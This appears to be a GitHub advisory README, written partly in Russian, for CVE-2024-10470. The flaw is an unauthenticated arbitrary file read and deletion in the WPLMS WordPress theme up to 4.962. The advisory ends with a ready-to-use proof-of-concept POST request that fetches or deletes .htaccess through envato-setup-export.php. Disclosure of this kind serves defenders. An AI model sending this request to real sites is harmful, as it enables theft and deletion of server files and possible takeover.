randomrobbiebf/cve-2024-10470Система управления обучением WPLMS для WordPress <= 4.962 – Неавторизованное произвольное чтение и удаление файлов
WPLMS Learning Management System для WordPress <= 4.962 – Неаутентифицированное произвольное чтение и удаление файлов
WPLMS Learning Management System для WordPress, WordPress LMS тема для WordPress, уязвима к произвольному чтению и удалению файлов из-за недостаточной проверки путей к файлам и разрешений в функциях readfile и unlink во всех версиях до 4.962 включительно. Это позволяет неаутентифицированным атакующим удалять произвольные файлы на сервере, что может легко привести к удаленному выполнению кода при удалении правильного файла (например, wp-config.php). Тема уязвима даже если она не активирована.
Affected Theme: WPLMS Learning Management System for WordPress
Theme Slug: wplms
Affected Versions: <= 4.962
CVE ID: CVE-2024-10470
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Foxyyy
Fully Patched Version: 4.963
POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
download_export_zip=1&zip_file=.htaccess